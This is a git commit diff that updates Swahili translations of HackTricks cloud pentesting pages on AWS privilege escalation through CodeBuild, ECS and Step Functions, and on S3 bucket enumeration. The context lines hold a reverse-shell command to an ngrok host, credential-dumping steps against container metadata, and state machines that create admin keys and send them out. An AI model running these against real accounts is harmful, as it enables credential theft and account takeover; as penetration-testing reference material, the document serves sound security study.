mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -176,11 +176,11 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data
|
||||
> [!WARNING]
|
||||
> Katika **konteina ya Codebuild** faili `/codebuild/output/tmp/env.sh` ina kila mabadiliko ya mazingira yanayohitajika kufikia **akiba ya metadata**.
|
||||
|
||||
> Faili hii ina **mabadiliko ya mazingira `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** ambayo ina **njia ya URL** ya kufikia akiba. Itakuwa kama hii `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
|
||||
> Faili hii ina **mabadiliko ya mazingira `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** ambayo yana **njia ya URL** ya kufikia akiba. Itakuwa kama hii `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
|
||||
|
||||
> Ongeza hiyo kwenye URL **`http://169.254.170.2/`** na utaweza kudump akiba ya jukumu.
|
||||
|
||||
> Zaidi ya hayo, pia ina **mabadiliko ya mazingira `ECS_CONTAINER_METADATA_URI`** ambayo ina URL kamili ya kupata **taarifa za metadata kuhusu konteina**.
|
||||
> Zaidi ya hayo, pia ina **mabadiliko ya mazingira `ECS_CONTAINER_METADATA_URI`** ambayo yana URL kamili ya kupata **habari za metadata kuhusu konteina**.
|
||||
|
||||
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
@@ -302,7 +302,7 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
|
||||
|
||||
### SSM
|
||||
|
||||
Kuwa na **idhini ya kutosha kuanzisha kikao cha ssm** inawezekana kupata **ndani ya mradi wa Codebuild** unaojengwa.
|
||||
Kuwa na **idhini za kutosha kuanzisha kikao cha ssm** inawezekana kupata **ndani ya mradi wa Codebuild** unaojengwa.
|
||||
|
||||
Mradi wa codebuild utahitaji kuwa na breakpoint:
|
||||
|
||||
@@ -351,13 +351,13 @@ build:
|
||||
commands:
|
||||
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
|
||||
```
|
||||
**Impact:** Moja kwa moja privesc kwa jukumu lililotumiwa na mfanyakazi wa AWS CodeBuild ambalo mara nyingi lina mamlaka ya juu.
|
||||
**Impact:** Moja kwa moja privesc kwa jukumu lililotumiwa na mfanyakazi wa AWS CodeBuild ambao kwa kawaida una mamlaka ya juu.
|
||||
|
||||
> [!WARNING]
|
||||
> Kumbuka kwamba buildspec inaweza kutarajiwa kuwa katika muundo wa zip, hivyo mshambuliaji atahitaji kupakua, kufungua, kubadilisha `buildspec.yml` kutoka kwenye saraka ya mzizi, kuzipa tena na kupakia
|
||||
> Kumbuka kwamba buildspec inaweza kutarajiwa kuwa katika muundo wa zip, hivyo mshambuliaji atahitaji kupakua, kufungua, kubadilisha `buildspec.yml` kutoka kwenye saraka ya mzizi, kuzipa tena na kupakia.
|
||||
|
||||
Maelezo zaidi yanaweza kupatikana [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
|
||||
Maelezo zaidi yanaweza kupatikana [hapa](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
|
||||
|
||||
**Potential Impact:** Moja kwa moja privesc kwa majukumu ya AWS Codebuild yaliyoambatanishwa.
|
||||
**Potential Impact:** Moja kwa moja privesc kwa majukumu ya AWS Codebuild yaliyounganishwa.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECS
|
||||
|
||||
Maelezo zaidi kuhusu ECS katika:
|
||||
Maelezo zaidi kuhusu **ECS** katika:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
@@ -12,7 +12,7 @@ Maelezo zaidi kuhusu ECS katika:
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
|
||||
Mshambuliaji anayekandamiza ruhusa ya `iam:PassRole`, `ecs:RegisterTaskDefinition` na `ecs:RunTask` katika ECS anaweza **kuunda tafsiri mpya ya kazi** yenye **konteina mbaya** inayopora akidi za metadata na **kuikimbia**.
|
||||
Mshambuliaji anayetumia ruhusa ya `iam:PassRole`, `ecs:RegisterTaskDefinition` na `ecs:RunTask` katika ECS anaweza **kuunda tafsiri mpya ya kazi** yenye **konteina mbaya** inayopora akidi za metadata na **kuikimbia**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Reverse Shell" }}
|
||||
@@ -79,8 +79,8 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
|
||||
Kama ilivyo katika mfano wa awali, mshambuliaji anayekandamiza ruhusa za **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** katika ECS anaweza **kuunda ufafanuzi mpya wa kazi** wenye **konteina mbaya** inayopora akidi za metadata na **kuikimbia**.\
|
||||
Hata hivyo, katika kesi hii, inahitajika kuwa na mfano wa konteina ili kuendesha ufafanuzi wa kazi mbaya.
|
||||
Kama ilivyo katika mfano wa awali, mshambuliaji anayekandamiza ruhusa za **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** katika ECS anaweza **kuunda tafsiri mpya ya kazi** yenye **konteina mbaya** inayopora akidi za metadata na **kuikimbia**.\
|
||||
Hata hivyo, katika kesi hii, inahitajika kuwa na mfano wa kontena ili kuendesha tafsiri mbaya ya kazi.
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -96,7 +96,7 @@ aws ecs start-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea:** Privesc ya moja kwa moja kwa jukumu lolote la ECS.
|
||||
**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa jukumu lolote la ECS.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
@@ -144,7 +144,7 @@ Hii bado ni ya kuvutia kwa sababu ikiwa unaweza kuendesha kontena chochote, hata
|
||||
Unaweza hata **kulazimisha kazi nyingine kuendesha ndani ya mfano wa EC2** ulioathiriwa ili kuchukua hati zao (kama ilivyojadiliwa katika [**Sehemu ya Privesc kwa node**](aws-ecs-privesc.md#privesc-to-node)).
|
||||
|
||||
> [!WARNING]
|
||||
> Shambulio hili linaweza kufanyika tu ikiwa **klasta ya ECS inatumia** mifano ya EC2 na sio Fargate.
|
||||
> Shambulio hili linawezekana tu ikiwa **klasta ya ECS inatumia** mifano ya EC2 na sio Fargate.
|
||||
```bash
|
||||
printf '[
|
||||
{
|
||||
@@ -188,7 +188,7 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Mshambuliaji mwenye **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** anaweza **kutekeleza amri** ndani ya kontena linalofanya kazi na kuhamasisha jukumu la IAM lililounganishwa nalo (unahitaji ruhusa za kuelezea kwa sababu ni muhimu kutekeleza `aws ecs execute-command`).\
|
||||
Hata hivyo, ili kufanya hivyo, kifaa cha kontena kinahitaji kuwa kinakimbia **ExecuteCommand agent** (ambayo kwa kawaida si hivyo).
|
||||
Hata hivyo, ili kufanya hivyo, kifaa cha kontena kinahitaji kuwa kinatumia **ExecuteCommand agent** (ambayo kwa kawaida si hivyo).
|
||||
|
||||
Kwa hivyo, mshambuliaji anaweza kujaribu:
|
||||
|
||||
@@ -212,7 +212,7 @@ aws ecs execute-command --interactive \
|
||||
```
|
||||
- Ikiwa ana **`ecs:RunTask`**, endesha kazi kwa `aws ecs run-task --enable-execute-command [...]`
|
||||
- Ikiwa ana **`ecs:StartTask`**, endesha kazi kwa `aws ecs start-task --enable-execute-command [...]`
|
||||
- Ikiwa ana **`ecs:CreateService`**, tengeneza huduma kwa `aws ecs create-service --enable-execute-command [...]`
|
||||
- Ikiwa ana **`ecs:CreateService`**, unda huduma kwa `aws ecs create-service --enable-execute-command [...]`
|
||||
- Ikiwa ana **`ecs:UpdateService`**, sasisha huduma kwa `aws ecs update-service --enable-execute-command [...]`
|
||||
|
||||
Unaweza kupata **mfano wa chaguzi hizo** katika **sehemu za awali za ECS privesc**.
|
||||
@@ -270,7 +270,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
|
||||
# Update the primary task set for the service
|
||||
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea**: Teua msimbo wa kiholela katika huduma iliyoathiriwa, ambayo inaweza kuathiri utendaji wake au kutoa data nyeti.
|
||||
**Madhara Yanayoweza Kutokea**: Teua msimbo wa kiholela katika huduma iliyoathirika, ambayo inaweza kuathiri utendaji wake au kutoa data nyeti.
|
||||
|
||||
## Marejeleo
|
||||
|
||||
|
||||
+8
-8
@@ -63,7 +63,7 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
|
||||
|
||||
### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
|
||||
|
||||
Mshambuliaji mwenye **`states:CreateStateMachine`** & **`iam:PassRole`** angeweza kuunda mashine ya hali na kutoa jukumu lolote la IAM, kuruhusu ufikiaji usioidhinishwa kwa huduma nyingine za AWS kwa ruhusa za majukumu hayo. Tofauti na mbinu ya awali ya privesc (**`states:TestState`** & **`iam:PassRole`**), hii haitekelezi yenyewe, utahitaji pia kuwa na ruhusa za **`states:StartExecution`** au **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **haipatikani kwa mifumo ya kazi ya kawaida**, **ni kwa mashine za hali tu**) ili kuanzisha na kutekeleza juu ya mashine ya hali.
|
||||
Mshambuliaji mwenye **`states:CreateStateMachine`** & **`iam:PassRole`** angeweza kuunda mashine ya hali na kutoa jukumu lolote la IAM, kuruhusu ufikiaji usioidhinishwa kwa huduma nyingine za AWS kwa ruhusa za majukumu hayo. Tofauti na mbinu ya awali ya privesc (**`states:TestState`** & **`iam:PassRole`**), hii haitekelezi yenyewe, utahitaji pia kuwa na ruhusa za **`states:StartExecution`** au **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **haipatikani kwa mifumo ya kazi ya kawaida**, **ni kwa mashine za hali tu**) ili kuanza na utekelezaji juu ya mashine ya hali.
|
||||
```bash
|
||||
# Create a state machine
|
||||
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
|
||||
@@ -75,7 +75,7 @@ aws states start-execution --state-machine-arn <value> [--name <value>] [--input
|
||||
# Start a Synchronous Express state machine execution
|
||||
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
|
||||
```
|
||||
Mifano hii inaonyesha jinsi ya kuunda mashine ya hali inayounda funguo za ufikiaji kwa mtumiaji **`admin`** na kuhamasisha funguo hizi za ufikiaji kwenye kikasha cha S3 kinachodhibitiwa na mshambuliaji, ikitumia ruhusa hizi na jukumu lenye ruhusa nyingi la mazingira ya AWS. Jukumu hili lenye ruhusa nyingi linapaswa kuwa na sera yoyote yenye mamlaka ya juu iliyounganishwa nayo (kwa mfano **`arn:aws:iam::aws:policy/AdministratorAccess`**) inayoruhusu mashine ya hali kufanya vitendo vya **`iam:CreateAccessKey`** & **`s3:putObject`**.
|
||||
Mifano hii inaonyesha jinsi ya kuunda mashine ya hali inayounda funguo za ufikiaji kwa mtumiaji **`admin`** na kuhamasisha funguo hizi za ufikiaji kwenye kikasha cha S3 kinachodhibitiwa na mshambuliaji, ikitumia ruhusa hizi na jukumu lenye ruhusa nyingi la mazingira ya AWS. Jukumu hili lenye ruhusa nyingi linapaswa kuwa na sera yoyote yenye mamlaka ya juu inayohusishwa nayo (kwa mfano **`arn:aws:iam::aws:policy/AdministratorAccess`**) inayoruhusu mashine ya hali kufanya vitendo vya **`iam:CreateAccessKey`** & **`s3:putObject`**.
|
||||
|
||||
- **stateMachineDefinition.json**:
|
||||
```json
|
||||
@@ -140,18 +140,18 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
|
||||
|
||||
Mshambuliaji mwenye ruhusa ya **`states:UpdateStateMachine`** angeweza kubadilisha ufafanuzi wa mashine ya hali, akiwa na uwezo wa kuongeza hali za siri ambazo zinaweza kuishia katika kupandisha hadhi. Kwa njia hii, wakati mtumiaji halali anapoanza utekelezaji wa mashine ya hali, hali hii mpya ya siri itatekelezwa na kupandisha hadhi kutafanikiwa.
|
||||
|
||||
Kulingana na jinsi ruhusa ya IAM Role iliyoambatanishwa na mashine ya hali ilivyo, mshambuliaji angeweza kukutana na hali 2:
|
||||
Kulingana na jinsi ruhusa ya IAM Role ilivyo, mshambuliaji angeweza kukutana na hali 2:
|
||||
|
||||
1. **Ruhusa ya IAM Role ya Kurehemu**: Ikiwa IAM Role iliyoambatanishwa na mashine ya hali tayari ni ya kurehemu (ina mfano wa sera ya **`arn:aws:iam::aws:policy/AdministratorAccess`** iliyoambatanishwa), basi ruhusa ya **`iam:PassRole`** haitahitajika ili kupandisha hadhi kwani haitakuwa muhimu pia kubadilisha IAM Role, ambapo ufafanuzi wa mashine ya hali unatosha.
|
||||
2. **Ruhusa ya IAM Role isiyo ya Kurehemu**: Kinyume na kesi ya awali, hapa mshambuliaji pia atahitaji ruhusa ya **`iam:PassRole`** kwani itakuwa muhimu kuunganisha IAM Role ya kurehemu na mashine ya hali pamoja na kubadilisha ufafanuzi wa mashine ya hali.
|
||||
1. **Ruhusa ya IAM Inayoruhusu**: Ikiwa Ruhusa ya IAM iliyoambatanishwa na mashine ya hali tayari inaruhusu (ina mfano wa sera ya **`arn:aws:iam::aws:policy/AdministratorAccess`** iliyoambatanishwa), basi ruhusa ya **`iam:PassRole`** haitahitajika ili kupandisha hadhi kwani haitakuwa muhimu pia kubadilisha Ruhusa ya IAM, kwa kuwa ufafanuzi wa mashine ya hali unatosha.
|
||||
2. **Ruhusa ya IAM Isiyoruhusu**: Kinyume na kesi ya awali, hapa mshambuliaji pia atahitaji ruhusa ya **`iam:PassRole`** kwani itakuwa muhimu kuunganisha Ruhusa ya IAM inayoruhusu na mashine ya hali pamoja na kubadilisha ufafanuzi wa mashine ya hali.
|
||||
```bash
|
||||
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
|
||||
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
|
||||
```
|
||||
Mifano hii inaonyesha jinsi ya kuboresha mashine halali ya hali ambayo inaita tu kazi ya Lambda ya HelloWorld, ili kuongeza hali ya ziada ambayo inaongeza mtumiaji **`unprivilegedUser`** kwenye Kundi la IAM **`administrator`**. Kwa njia hii, wakati mtumiaji halali anaanzisha utekelezaji wa mashine ya hali iliyosasishwa, hali hii mpya ya siri itatekelezwa na kupandishwa kwa mamlaka kutafanikiwa.
|
||||
Mifano hii inaonyesha jinsi ya kuboresha mashine halali ya hali ambayo inaita kazi ya Lambda ya HelloWorld, ili kuongeza hali ya ziada ambayo inaongeza mtumiaji **`unprivilegedUser`** kwenye Kundi la IAM la **`administrator`**. Kwa njia hii, wakati mtumiaji halali anapoanza utekelezaji wa mashine ya hali iliyosasishwa, hali hii mpya ya siri itatekelezwa na kupandishwa vyeo kutafanikiwa.
|
||||
|
||||
> [!WARNING]
|
||||
> Ikiwa mashine ya hali haina Rol ya IAM inayoruhusu, itahitajika pia ruhusa ya **`iam:PassRole`** kuboresha Rol ya IAM ili kuunganisha Rol ya IAM inayoruhusu (kwa mfano moja yenye sera ya **`arn:aws:iam::aws:policy/AdministratorAccess`** iliyounganishwa).
|
||||
> Ikiwa mashine ya hali haina Rol ya IAM yenye ruhusa, itahitajika pia ruhusa ya **`iam:PassRole`** ili kuboresha Rol ya IAM ili kuunganisha Rol ya IAM yenye ruhusa (kwa mfano moja yenye sera ya **`arn:aws:iam::aws:policy/AdministratorAccess`** iliyounganishwa).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Legit State Machine" }}
|
||||
@@ -226,6 +226,6 @@ aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-eas
|
||||
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
|
||||
}
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea**: Utekelezaji usioidhinishwa na upotoshaji wa mifumo ya kazi na ufikiaji wa rasilimali nyeti, ambayo inaweza kusababisha uvunjifu mkubwa wa usalama.
|
||||
**Madhara Yanayoweza Kutokea**: Utekelezaji usioidhinishwa na upotoshaji wa mchakato na ufikiaji wa rasilimali nyeti, ambayo inaweza kusababisha uvunjaji mkubwa wa usalama.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+29
-29
@@ -1,23 +1,23 @@
|
||||
# AWS - S3 Unauthenticated Enum
|
||||
# AWS - S3 Uthibitisho wa Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3 Public Buckets
|
||||
## S3 Mifuko ya Umma
|
||||
|
||||
A bucket is considered **“public”** if **mtumiaji yeyote anaweza kuorodhesha maudhui** ya bucket, na **“private”** ikiwa maudhui ya bucket yanaweza **kuorodheshwa au kuandikwa tu na watumiaji fulani**.
|
||||
Mifuko inachukuliwa kuwa **“ya umma”** ikiwa **mtumiaji yeyote anaweza kuorodhesha maudhui** ya mfuko, na **“ya faragha”** ikiwa maudhui ya mfuko yanaweza **kuorodheshwa au kuandikwa tu na watumiaji fulani**.
|
||||
|
||||
Makampuni yanaweza kuwa na **mipangilio ya ruhusa za buckets isiyo sahihi** ikitoa ufikiaji ama kwa kila kitu au kwa kila mtu aliyejithibitisha katika AWS katika akaunti yoyote (hivyo kwa mtu yeyote). Kumbuka, kwamba hata na mipangilio kama hiyo, baadhi ya vitendo vinaweza kutoweza kufanywa kwani buckets zinaweza kuwa na orodha zao za udhibiti wa ufikiaji (ACLs).
|
||||
Makampuni yanaweza kuwa na **idhini za mifuko zisizo sahihi** zinazotoa ufikiaji ama kwa kila kitu au kwa kila mtu aliyejithibitisha katika AWS katika akaunti yoyote (hivyo kwa mtu yeyote). Kumbuka, kwamba hata na makosa kama haya, baadhi ya vitendo vinaweza kutoweza kufanywa kwani mifuko inaweza kuwa na orodha zao za udhibiti wa ufikiaji (ACLs).
|
||||
|
||||
**Jifunze kuhusu AWS-S3 misconfiguration hapa:** [**http://flaws.cloud**](http://flaws.cloud/) **na** [**http://flaws2.cloud/**](http://flaws2.cloud)
|
||||
**Jifunze kuhusu makosa ya AWS-S3 hapa:** [**http://flaws.cloud**](http://flaws.cloud/) **na** [**http://flaws2.cloud/**](http://flaws2.cloud)
|
||||
|
||||
### Finding AWS Buckets
|
||||
### Kupata Mifuko ya AWS
|
||||
|
||||
Njia tofauti za kupata wakati ukurasa wa wavuti unatumia AWS kuhifadhi baadhi ya rasilimali:
|
||||
|
||||
#### Enumeration & OSINT:
|
||||
#### Uthibitishaji & OSINT:
|
||||
|
||||
- Kutumia **wappalyzer** plugin ya kivinjari
|
||||
- Kutumia burp (**spidering** wavuti) au kwa kuvinjari kwa mikono kupitia ukurasa, rasilimali zote **zilizopakiwa** zitahifadhiwa katika Historia.
|
||||
- Kutumia burp (**kupeleleza** wavuti) au kwa kuvinjari kwa mikono kupitia ukurasa, rasilimali zote **zilizopakiwa** zitahifadhiwa katika Historia.
|
||||
- **Angalia rasilimali** katika maeneo kama:
|
||||
|
||||
```
|
||||
@@ -26,19 +26,19 @@ http://[bucket_name].s3.amazonaws.com/
|
||||
```
|
||||
|
||||
- Angalia kwa **CNAMES** kwani `resources.domain.com` inaweza kuwa na CNAME `bucket.s3.amazonaws.com`
|
||||
- **[s3dns](https://github.com/olizimmermann/s3dns)** – Seva nyepesi ya DNS inayotambua kwa pasivo buckets za uhifadhi wa wingu (S3, GCP, Azure) kwa kuchambua trafiki ya DNS. Inatambua CNAMEs, inafuata minyororo ya ufumbuzi, na inalinganisha mifumo ya bucket, ikitoa njia ya kimya kwa kugundua kwa nguvu au kwa kutumia API. Kamili kwa recon na mchakato wa OSINT.
|
||||
- Angalia [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), wavuti yenye **buckets wazi zilizogunduliwa** tayari.
|
||||
- **Jina la bucket** na **jina la domain la bucket** inahitaji kuwa **sawa.**
|
||||
- **[s3dns](https://github.com/olizimmermann/s3dns)** – Seva nyepesi ya DNS inayotambua kwa pasipo nguvu mifuko ya uhifadhi wa wingu (S3, GCP, Azure) kwa kuchambua trafiki ya DNS. Inatambua CNAMEs, inafuata minyororo ya ufumbuzi, na inalinganisha mifuko, ikitoa njia ya kimya kwa kugundua kwa nguvu au kwa kutumia API. Inafaa kwa recon na mchakato wa OSINT.
|
||||
- Angalia [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), wavuti yenye **mifuko ya wazi iliyogunduliwa** tayari.
|
||||
- **Jina la mfuko** na **jina la kikoa la mfuko** inahitaji kuwa **sawa.**
|
||||
- **flaws.cloud** iko katika **IP** 52.92.181.107 na ukitembelea huko inakuelekeza kwenye [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Pia, `dig -x 52.92.181.107` inatoa `s3-website-us-west-2.amazonaws.com`.
|
||||
- Ili kuangalia ni bucket unaweza pia **kutembelea** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/).
|
||||
- Ili kuangalia ni mfuko unaweza pia **kutembelea** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/).
|
||||
|
||||
#### Brute-Force
|
||||
|
||||
Unaweza kupata buckets kwa **kujaribu majina** yanayohusiana na kampuni unayofanya pentesting:
|
||||
Unaweza kupata mifuko kwa **kujaribu majina** yanayohusiana na kampuni unayoifanya pentesting:
|
||||
|
||||
- [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner)
|
||||
- [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector)
|
||||
- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Inajumuisha orodha ya majina ya bucket yanayoweza kuwa)
|
||||
- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Inajumuisha orodha ya majina ya mifuko yenye uwezekano)
|
||||
- [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets)
|
||||
- [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky)
|
||||
- [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers)
|
||||
@@ -76,17 +76,17 @@ cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words
|
||||
s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt | grep bucket_exists
|
||||
</code></pre>
|
||||
|
||||
#### Loot S3 Buckets
|
||||
#### Nyara Mifuko ya S3
|
||||
|
||||
Kutoa S3 buckets wazi, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) inaweza moja kwa moja **kutafuta taarifa za kuvutia**.
|
||||
Kutoa mifuko ya S3 wazi, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) inaweza moja kwa moja **kutafuta taarifa za kuvutia**.
|
||||
|
||||
### Find the Region
|
||||
### Pata Mkoa
|
||||
|
||||
Unaweza kupata maeneo yote yanayoungwa mkono na AWS katika [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html)
|
||||
Unaweza kupata mikoa yote inayoungwa mkono na AWS katika [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html)
|
||||
|
||||
#### By DNS
|
||||
#### Kwa DNS
|
||||
|
||||
Unaweza kupata eneo la bucket kwa **`dig`** na **`nslookup`** kwa kufanya **ombwe la DNS la IP iliyogunduliwa**:
|
||||
Unaweza kupata mkoa wa mfuko kwa **`dig`** na **`nslookup`** kwa kufanya **ombio la DNS la IP iliyogunduliwa**:
|
||||
```bash
|
||||
dig flaws.cloud
|
||||
;; ANSWER SECTION:
|
||||
@@ -97,20 +97,20 @@ Non-authoritative answer:
|
||||
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
|
||||
```
|
||||
Angalia kwamba jina la kikoa lililopatikana lina neno "website".\
|
||||
Unaweza kufikia tovuti ya kawaida kwa kutembelea: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\
|
||||
au unaweza kufikia ndoo kwa kutembelea: `flaws.cloud.s3-us-west-2.amazonaws.com`
|
||||
Unaweza kufikia tovuti ya statiki kwa kutembelea: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\
|
||||
au unaweza kufikia bucket kwa kutembelea: `flaws.cloud.s3-us-west-2.amazonaws.com`
|
||||
|
||||
|
||||
|
||||
#### Kwa Kujaribu
|
||||
|
||||
Ikiwa unajaribu kufikia ndoo, lakini katika **jina la kikoa unataja eneo lingine** (kwa mfano ndoo iko katika `bucket.s3.amazonaws.com` lakini unajaribu kufikia `bucket.s3-website-us-west-2.amazonaws.com`, basi utaonyeshwa **mahali sahihi**:
|
||||
Ikiwa unajaribu kufikia bucket, lakini katika **jina la kikoa unataja eneo lingine** (kwa mfano bucket iko katika `bucket.s3.amazonaws.com` lakini unajaribu kufikia `bucket.s3-website-us-west-2.amazonaws.com`, basi utaonyeshwa **mahali sahihi**:
|
||||
|
||||
.png>)
|
||||
|
||||
### Kuorodhesha ndoo
|
||||
### Kuorodhesha bucket
|
||||
|
||||
Ili kujaribu ufunguzi wa ndoo, mtumiaji anaweza tu kuingiza URL katika kivinjari chao. Ndoo ya kibinafsi itajibu kwa "Access Denied". Ndoo ya umma itataja vitu 1,000 vya kwanza vilivyohifadhiwa.
|
||||
Ili kujaribu ufunguzi wa bucket, mtumiaji anaweza tu kuingiza URL katika kivinjari chao. Bucket ya kibinafsi itajibu kwa "Access Denied". Bucket ya umma itataja vitu 1,000 vya kwanza vilivyohifadhiwa.
|
||||
|
||||
Iko wazi kwa kila mtu:
|
||||
|
||||
@@ -134,10 +134,10 @@ Ikiwa bakuli haina jina la kikoa, unapojaribu kuhesabu, **weka jina la bakuli tu
|
||||
```
|
||||
https://{user_provided}.s3.amazonaws.com
|
||||
```
|
||||
### Pata Kitambulisho cha Akaunti kutoka kwa Baki ya Umma
|
||||
### Pata Kitambulisho cha Akaunti kutoka kwa Bucket ya Umma
|
||||
|
||||
Inawezekana kubaini akaunti ya AWS kwa kutumia faida ya **`S3:ResourceAccount`** **Key ya Masharti ya Sera**. Masharti haya **yanapunguza ufikiaji kulingana na baki ya S3** ambayo akaunti iko ndani (sera nyingine za msingi wa akaunti zinapunguza kulingana na akaunti ambayo kiongozi anayehitaji yuko ndani).\
|
||||
Na kwa sababu sera inaweza kuwa na **wildcards** inawezekana kupata nambari ya akaunti **nambari moja kwa wakati**.
|
||||
Inawezekana kubaini akaunti ya AWS kwa kutumia **`S3:ResourceAccount`** **Key ya Masharti ya Sera**. Masharti haya **yanapunguza ufikiaji kulingana na bucket ya S3** ambayo akaunti iko ndani (sera nyingine za msingi wa akaunti zinapunguza kulingana na akaunti ambayo kiongozi anayehitaji yuko ndani).\
|
||||
Na kwa sababu sera inaweza kuwa na **wildcards** inawezekana kupata nambari ya akaunti **nambari moja kwa wakati mmoja**.
|
||||
|
||||
Chombo hiki kinara mchakato:
|
||||
```bash
|
||||
@@ -151,7 +151,7 @@ s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/
|
||||
```
|
||||
H technique hii pia inafanya kazi na API Gateway URLs, Lambda URLs, Data Exchange data sets na hata kupata thamani ya tags (ikiwa unajua ufunguo wa tag). Unaweza kupata maelezo zaidi katika [**utafiti wa asili**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) na zana [**conditional-love**](https://github.com/plerionhq/conditional-love/) ili kuendesha uhalifu huu.
|
||||
|
||||
### Kuthibitisha kuwa bucket inamhusu akaunti ya AWS
|
||||
### Kuthibitisha kwamba bucket inamhusu akaunti ya AWS
|
||||
|
||||
Kama ilivyoelezwa katika [**hiki blogu**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, ikiwa una ruhusa za kuorodhesha bucket** inawezekana kuthibitisha accountID ambayo bucket inamhusu kwa kutuma ombi kama:
|
||||
```bash
|
||||
|
||||
Reference in New Issue
Block a user